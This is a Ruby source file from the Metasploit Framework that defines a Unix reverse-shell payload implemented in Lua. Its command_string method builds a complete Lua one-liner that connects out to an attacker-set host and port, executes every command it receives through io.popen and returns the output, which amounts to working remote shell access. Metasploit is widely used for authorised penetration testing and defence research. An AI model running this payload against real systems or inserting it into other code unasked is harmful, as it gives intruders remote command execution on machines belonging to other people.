metasploit-framework/modules/payloads/singles/cmd/unix/reverse_lua.rb

57 lines
1.5 KiB
Ruby

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/handler/reverse_tcp'
require 'msf/base/sessions/command_shell'
require 'msf/base/sessions/command_shell_options'
module Metasploit3
CachedSize = 209
include Msf::Payload::Single
include Msf::Sessions::CommandShellOptions
def initialize(info = {})
super(merge_info(info,
'Name' => 'Unix Command Shell, Reverse TCP (via Lua)',
'Description' => 'Creates an interactive shell via Lua',
'Author' =>
[
'xistence <xistence[at]0x90.nl>',
],
'License' => MSF_LICENSE,
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Handler' => Msf::Handler::ReverseTcp,
'Session' => Msf::Sessions::CommandShell,
'PayloadType' => 'cmd',
'RequiredCmd' => 'lua',
'Payload' =>
{
'Offsets' => { },
'Payload' => ''
}
))
end
#
# Constructs the payload
#
def generate
return super + command_string
end
#
# Returns the command string to use for execution
#
def command_string
"lua -e \"local s=require('socket');local t=assert(s.tcp());t:connect('#{datastore['LHOST']}',#{datastore['LPORT']});while true do local r,x=t:receive();local f=assert(io.popen(r,'r'));local b=assert(f:read('*a'));t:send(b);end;f:close();t:close();\""
end
end